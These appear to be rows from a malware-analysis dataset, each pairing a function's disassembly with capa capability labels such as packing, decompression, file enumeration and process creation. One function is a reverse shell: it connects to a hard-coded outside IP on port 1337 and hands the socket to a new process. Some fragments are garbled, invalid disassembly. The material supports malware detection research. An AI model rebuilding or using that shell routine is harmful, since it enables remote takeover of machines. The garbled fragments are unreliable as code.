joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400012b8
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x150
xor ebx, ebx
lea r9, [rax + 0x10]
mov r14, rcx
mov dword [rax + 0x10], ebx
xor r8d, r8d
lea rdx, [rax + 0x10]
lea esi, [rbx + 0xb]
mov ecx, esi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x1400013f6
mov edx, dword [rsp + 0x178]
xor ecx, ecx
mov r8d, 0x6f616d4c
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rdi, rax
test rax, rax
je 0x1400013f6
mov r8d, dword [rsp + 0x178]
xor r9d, r9d
mov rdx, rax
mov ecx, esi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
js 0x1400013e6
mov esi, ebx
cmp qword [rdi], rbx
jbe 0x1400013e6
lea rbp, [rdi + 8]
mov rax, rbp
lea rcx, [rsp + 0x20]
mov edx, 2
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001350
movups xmm0, xmmword [rax]
mov rdx, r14
movups xmm1, xmmword [rax + 0x10]
mov rax, qword [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov qword [rcx + 0x20], rax
lea rcx, [rsp + 0x48]
call sub.ntoskrnl.exe_strstr
test rax, rax
jne 0x1400013e1
inc esi
add rbp, 0x128
movsxd rax, esi
cmp rax, qword [rdi]
jb 0x140001343
jmp 0x1400013e6
mov rbx, qword [rsp + 0x30]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, rbx
jmp 0x1400013f8
xor eax, eax
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x100102318
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
xchg rsi, rdi
push rsi
push rdi
sub rsp, 0x50
rdtsc
shl rdx, 0x20
or rax, rdx
cdqe
mov qword [0x1001241b0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
lea rbp, [0x100000000]
xor ebx, ebx
and eax, 0x80000000
mov dword [0x1001268cc], eax
cmp dword [0x10011dbc0], ebx
jne 0x10010237e
lea rcx, [0x100126938]
mov edx, 0x80000000
call fcn.100090afc
cmp eax, ebx
jl 0x100102572
mov dword [0x10011dbc0], 1
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r8d, 0x80000000
lea rcx, [0x100000000]
movsxd rdx, dword [0x10000003c]
mov rdi, qword [rsp + 0x28]
lea rax, [rdi + r8]
mov edx, dword [rdx + rbp + 0x50]
add rdx, rcx
cmp rdx, rax
jb 0x1001023b9
lea rdi, [rdx - 0x80000000]
lea rdx, [rdi + 0xffff]
and rdx, 0xffffffffffff0000
mov rdi, qword [rsp + 0x30]
mov qword [0x100126f18], rdx
lea rax, [rdi - 0x80000000]
cmp rcx, rax
jbe 0x1001023e8
mov qword [0x100126c28], rdi
jmp 0x1001023f2
add rcx, r8
mov qword [0x100126c28], rcx
mov word [0x100126c28], bx
mov rax, qword [0x100126c28]
sub rax, rdx
shr rax, 0x10
mov qword [0x10011ddb8], rax
mov eax, ebx
cmp eax, ebx
jl 0x100102572
mov rax, qword [0x1001241c8]
cmp rax, 1
jae 0x100102463
mov edx, 0x80000000
lea rax, [rax + rax*4]
lea rcx, [rbp + rax*8 + 0x11e208]
call fcn.100090afc
mov edx, eax
cmp eax, ebx
jl 0x10010245c
mov rax, qword [0x1001241c8]
inc rax
cmp rax, 1
mov qword [0x1001241c8], rax
jb 0x100102425
cmp edx, ebx
jge 0x100102463
mov eax, edx
jmp 0x100102572
mov eax, dword [0x10000c52c]
cmp eax, ebx
je 0x1001024fd
mov eax, dword [0x10000c52c]
lea rsi, [0x100109088]
lea r9, [rsp + 0x78]
mov r8d, 0x40
mov edx, dword [0x1000a5f24]
mov rcx, rsi
imul edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, ebx
jne 0x1001024bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebx
mov ecx, 0x54f
cmove eax, ecx
movzx ecx, ax
or ecx, 0x80070000
cmp eax, ebx
cmovle ecx, eax
jmp 0x1001024ff
mov r8, rbx
mov eax, dword [0x10000c52c]
cmp eax, ebx
jbe 0x1001024fd
mov ecx, dword [0x1000a5f24]
mov edi, dword [0x1000a5f24]
xor eax, eax
mov dword [rbp + r8*4 + 0x127060], 0x23ad
imul rdi, r8
add rdi, rsi
rep stosb byte [rdi], al
inc r8
mov eax, dword [0x10000c52c]
cmp r8, rax
jb 0x1001024cc
mov ecx, ebx
cmp ecx, ebx
jge 0x100102507
mov eax, ecx
jmp 0x100102572
mov ecx, dword [0x10011dcc8]
cmp ecx, ebx
je 0x100102559
lea rdi, [0x10011dcf0]
mov edx, dword [0x10011dcc0]
mov qword [0x10011dcd0], rdi
lea rax, [rdx + rbp + 0x11dcf0]
mov qword [0x10011dcd8], rax
mov eax, dword [0x10011dcc4]
add rdx, rax
add rcx, rdx
add rcx, rdi
lea rax, [rdx + rbp + 0x11dcf0]
mov qword [0x10011dce0], rax
mov qword [0x10011dce8], rcx
mov dword [rsp + 0x70], ebx
lea rcx, [rsp + 0x70]
mov eax, 0x7178ab80
cmp dword [rsp + 0x70], ebx
cmovl ebx, dword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001434
Capabilities:
Query environment variable

Disassembly:
xlatb
jrcxz 0x14000142b
add dword [rbp - 0x310a20aa], ebp
mov dword [rbp + 0x38244489], 0x3824548b
and al, 0x38
mov edx, dword [rsp + 0x38]
push rsp
and al, 0x38
mov r8d, dword [rsp + 0x5c]
xor r8d, 0x66f50814
mov qword [rsp + 0x78], 0x7d05254b
mov dword [rsp + 0x78], 0x7d05254b
and edx, r8d
mov dword [rsp + 0x54], 2
invalid

Function at 0x140001448
Capabilities:
Query environment variable

Disassembly:
xlatb
jrcxz 0x14000142b
add dword [rbp - 0x310a20aa], ebp
mov dword [rbp + 0x38244489], 0x3824548b
and al, 0x38
mov edx, dword [rsp + 0x38]
push rsp
and al, 0x38
mov r8d, dword [rsp + 0x5c]
xor r8d, 0x66f50814
mov qword [rsp + 0x78], 0x7d05254b
mov dword [rsp + 0x78], 0x7d05254b
and edx, r8d
mov dword [rsp + 0x54], 2
invalid

Function at 0x140002ca8
Capabilities:
Parse pe header

Disassembly:
and al, 0x27
mov word [rdx + 0x2827244c], cs
and al, 0x27
invalid

Function at 0x140002cc8
Capabilities:
Parse pe header

Disassembly:
cmp al, dl
mov byte [rsp + 5], cl
and al, 5
ja 0x140002d68
invalid
invalid
invalid
invalid

Function at 0x140002ccc
Capabilities:
Parse pe header

Disassembly:
cmp al, dl
mov byte [rsp + 5], cl
and al, 5
ja 0x140002d68
invalid
invalid
invalid
invalid

Function at 0x140002cd0
Capabilities:
Parse pe header

Disassembly:
xchg esp, eax
add byte [rax], al
add bl, ch
jmp 0x140002d11
mov al, 0x17

Function at 0x140002cd4
Capabilities:
Parse pe header

Disassembly:
xchg esp, eax
add byte [rax], al
add bl, ch
jmp 0x140002d11
mov al, 0x17

Function at 0x140002cd8
Capabilities:
Parse pe header

Disassembly:
mov cl, byte [rsp + 5]
sub al, cl
mov rdx, qword [rsp + 8]

Function at 0x140002cfc
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov r8d, dword [rsp + 0x20]
and al, 0x20

Function at 0x140002d18
Capabilities:
Parse pe header

Disassembly:
and al, 8
mov cl, byte [rsp + 5]
add cl, 0xee
mov rax, qword [rsp + 8]

Function at 0x140002d30
Capabilities:
Parse pe header

Disassembly:
and al, 0x27
add cl, 0x60
mov word [rsp + 6], dx
and al, 6

Function at 0x140002d44
Capabilities:
Parse pe header

Disassembly:
sub r8d, dword [rsp + 0x20]
mov r9b, byte [rsp + 0x1e]
and al, 0x1e

Function at 0x140002d50
Capabilities:
Parse pe header

Disassembly:
and al, 0x20
mov r10b, byte [rsp + 5]
add r10b, 0x90
invalid
invalid
push rsp
invalid

Function at 0x140002d7c
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
add rsp, 0x28
ret
push rax
add byte [r8], r8b
je 0x140002d76
invalid
invalid
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x2a0
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov ecx, 0x202
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000113f
xor esi, esi
mov qword [rsp + 0x2b0], rdi
mov edi, 2
mov dword [rsp + 0x28], esi
mov ecx, edi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea edx, [rax + 1]
lea r8d, [rax + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x539
mov word [rsp + 0xc0], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.121.169.207.199
mov word [rsp + 0xc2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea r8d, [rsi + 0x10]
mov rcx, rbx
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xc4], eax
call qword [sym.imp.WS2_32.dll_connect]
mov rdi, qword [rsp + 0x2b0]
test eax, eax
jne 0x14000113f
xor edx, edx
lea r8d, [rsi + 0x68]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0xd0]
mov dword [rsp + 0x50], 0x68
mov qword [rsp + 0x48], rax
lea rdx, [0x140002240]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x8c], 0x100
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rbx
mov qword [rsp + 0xb0], rbx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
jmp 0x140001144
mov eax, 1
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140001180
mov rbx, qword [rsp + 0x2b8]
add rsp, 0x2a0
pop rsi
ret
Function at 0x140d36058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140d361df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140d36089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d3606f
add dl, dl
jne 0x140d36096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d360f6
xor eax, eax
add dl, dl
jne 0x140d360a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d361ad
add dl, dl
jne 0x140d360b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d360c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d360d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d360dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140d360ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140d3607e
mov eax, 1
add dl, dl
jne 0x140d36106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d36113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d360fb
sub eax, ebx
mov ebx, 1
jne 0x140d3614c
mov ecx, 1
add dl, dl
jne 0x140d3612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d3613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d36123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d3607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140d36168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d36175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d3615d
cmp eax, 0x7d00
jae 0x140d3619b
cmp eax, 0x500
jb 0x140d36196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d3607e
cmp eax, 0x7f
ja 0x140d3619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d3607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140d361d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140d3607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000ae50
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2a8]
sub rsp, 0x380
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14008e010]
xor rax, rsp
mov qword [rbp + 0x250], rax
mov r13, rcx
xor r12d, r12d
mov dword [rsp + 0x38], r12d
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov qword [rbp - 0x10], r12
movdqu xmmword [rbp - 0x78], xmm1
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r12w
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r12w
call fcn.14000cc30
mov rbx, rax
mov edx, 0xffffffff
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea rdx, [rbx + 0x30]
lea rax, [rbp - 0x40]
cmp rax, rdx
je 0x14000af0b
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 8
jb 0x14000af02
mov rdx, qword [rdx]
lea rcx, [rbp - 0x40]
call fcn.14000d1d0
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x28]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x14000af4f
lea rcx, [rdx + 1]
mov qword [rbp - 0x30], rcx
lea rax, [rbp - 0x40]
cmp r8, 8
cmovae rax, qword [rbp - 0x40]
mov r8d, 0x5c
mov word [rax + rdx*2], r8w
mov word [rax + rcx*2], r12w
jmp 0x14000af73
mov qword [rsp + 0x20], 1
lea r9, [0x14007c1c8]
movzx r8d, byte [rsp + 0x30]
mov edx, 1
lea rcx, [rbp - 0x40]
call fcn.14000e230
lea rcx, str.Searching_dalp_TAs_in_the_repository...
call fcn.1400031b0
lea rdx, [0x14008ec90]
lea rcx, [rsp + 0x40]
call fcn.140008b00
mov rbx, rax
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], 7
mov word [rsp + 0x68], r12w
mov dword [rsp + 0x38], 1
mov rdx, qword [rbp - 0x30]
inc rdx
lea rcx, [rsp + 0x68]
call fcn.14000e780
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x68]
Function at 0x7fffb329e6f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rsi
push rdi
push rbp
sub rsp, 0x420
lea rbp, [0x7fffb32e6a18]
mov qword [rsp + 0x440], rcx
movsxd rdi, edx
cmp dword [rbp], 0xe32ca12
jne 0x7fffb329e71d
rdtsc
mov dword [0x7fffb32e6a18], eax
mov rax, qword [0x7fffb32e6a10]
push 0xffffffffffffffff
pop rsi
movabs rcx, 0xd24edba1558ea34d
cmp rax, rcx
je 0x7fffb329e77b
xor edx, edx
test rdi, rdi
jle 0x7fffb329e76c
mov r11d, dword [rbp]
mov r10, qword [rsp + 0x440]
mov ebp, esi
movzx ecx, byte [rdx + r10]
xor rbp, rcx
movzx r8d, bpl
inc rdx
shr esi, 8
mov r9d, dword [rax + r8*4]
xor r9d, r11d
xor esi, r9d
cmp rdx, rdi
jl 0x7fffb329e749
not esi
mov eax, esi
add rsp, 0x420
pop rbp
pop rdi
pop rsi
ret
mov ecx, 0x9ead0801
mov edx, 0x3f795175
call fcn.7fffb32ba830
test rax, rax
je 0x7fffb329e7eb
mov ecx, 0x400
call fcn.7fffb32c9100
mov qword [0x7fffb32e6a10], rax
xor ecx, ecx
mov edx, dword [rbp]
mov r11d, ecx
xor r10b, r10b
mov r9d, r11d
inc r10b
shr r9d, 1
mov r8d, r9d
xor r8d, 0xedb88320
test r11d, 1
mov r11d, r8d
jne 0x7fffb329e7cd
mov r11d, r9d
cmp r10b, 8
jl 0x7fffb329e7ab
xor r11d, edx
mov dword [rax + rcx*4], r11d
inc rcx
cmp rcx, 0x100
jl 0x7fffb329e7a5
jmp 0x7fffb329e727
xor ecx, ecx
mov r10d, ecx
xor r9b, r9b
mov r8d, r10d
inc r9b
shr r8d, 1
mov ebp, r8d
xor ebp, 0xedb88320
test r10d, 1
mov r10d, ebp
jne 0x7fffb329e814
mov r10d, r8d
cmp r9b, 8
jl 0x7fffb329e7f3
mov dword [rsp + rcx*4 + 0x20], r10d
inc rcx
cmp rcx, 0x100
jl 0x7fffb329e7ed
xor ecx, ecx
test rdi, rdi
jle 0x7fffb329e76c
mov r10, qword [rsp + 0x440]
mov r8d, esi
movzx ebp, byte [rcx + r10]
xor r8, rbp
movzx r9d, r8b
inc rcx
shr esi, 8
xor esi, dword [rsp + r9*4 + 0x20]
cmp rcx, rdi
jl 0x7fffb329e83e
jmp 0x7fffb329e76c
Function at 0x140057770
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005777d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005778d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140057775
lea eax, [rcx + 1]
jmp 0x14005779b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400577ae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140057794
sub eax, 3
jb 0x1400577ce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005781d
sar eax, 1
movsxd rbp, eax
jb 0x140057804
jmp 0x1400577dc
add ebx, ebx
jne 0x1400577da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140057804
inc ecx
add ebx, ebx
jne 0x1400577ea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140057804
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400577fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400577ec
add ecx, 2
jmp 0x140057809
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140057732
jmp 0x14005777d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29e00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140057869
cmp rsi, rcx
jae 0x140057871
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140057850
cmp al, 0x8f
ja 0x140057850
cmp byte [rsi - 2], 0xf
je 0x140057856
sub al, 0xe8
cmp al, 1
ja 0x14005783a
cmp rsi, rcx
jae 0x140057871
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140057840
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140057871
lodsb al, byte [rsi]
jmp 0x140057850
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x55000]
mov eax, dword [rdi]
or eax, eax
je 0x1400578ce
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x65fb0]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005787e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400578c8
mov qword [rbx], rax
add rbx, 8
jmp 0x14005789e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140057908
cmp al, 0xef
ja 0x1400578fa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400578da
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400578e9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005795c
sub rsp, 0xffffffffffffff80
jmp 0x14000b6f0
Function at 0x4187e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41898b
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00435720
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
nop
jne 0x41884e
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x418861
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x418885
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x418899
cmp rbx, 0x1000
jae 0x418858
nop
jmp 0x418909
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x4188ad
xor edx, edx
jmp 0x418900
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00435720
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop
test dl, dl
jne 0x41888f
jmp 0x418875
call fcn.00467dc0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00439f80
lea rax, [0x009c4f10]
mov ebx, 0x18
nop dword [rax + rax]
call fcn.0043a880
mov rax, qword [rsp + 0x38]
call fcn.0043a580
lea rax, [0x009c5121]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.0043a880
mov rax, qword [rsp + 0x30]
call fcn.0043a580
call fcn.0043a1e0
call fcn.0043a000
lea rax, [0x009cc62b]
mov ebx, 0x21
call fcn.004386c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004641e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004187e0
Function at 0x4189c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x418bea
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004357a0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x418a3b
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x418a4e
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x418a70
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x418a84
cmp rbx, 0x1000
jae 0x418a45
jmp 0x418b0e
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x418a96
xor esi, esi
jmp 0x418b00
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.004357a0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
test sil, sil
jne 0x418a7a
jmp 0x418a62
call fcn.00467dc0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x418b89
call fcn.00439f80
lea rax, [0x009c5ca7]
mov ebx, 0x19
call fcn.0043a880
mov rax, qword [rsp + 0x68]
call fcn.0043a580
lea rax, [0x009c5121]
mov ebx, 0x19
nop
call fcn.0043a880
mov eax, dword [rsp + 0x34]
call fcn.0043a580
call fcn.0043a1e0
call fcn.0043a000
lea rax, [0x009bcdcc]
mov ebx, 0xd
call fcn.004386c0
cmp eax, 0x5af
je 0x418b33
call fcn.00439f80
lea rax, [0x009c5ca7]
mov ebx, 0x19
call fcn.0043a880
mov rax, qword [rsp + 0x38]
call fcn.0043a580
lea rax, [0x009c5121]
mov ebx, 0x19
nop dword [rax]
call fcn.0043a880
mov eax, dword [rsp + 0x34]
call fcn.0043a580
call fcn.0043a1e0
call fcn.0043a000
lea rax, [0x009cac17]
mov ebx, 0x1f
call fcn.004386c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004641e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004189c0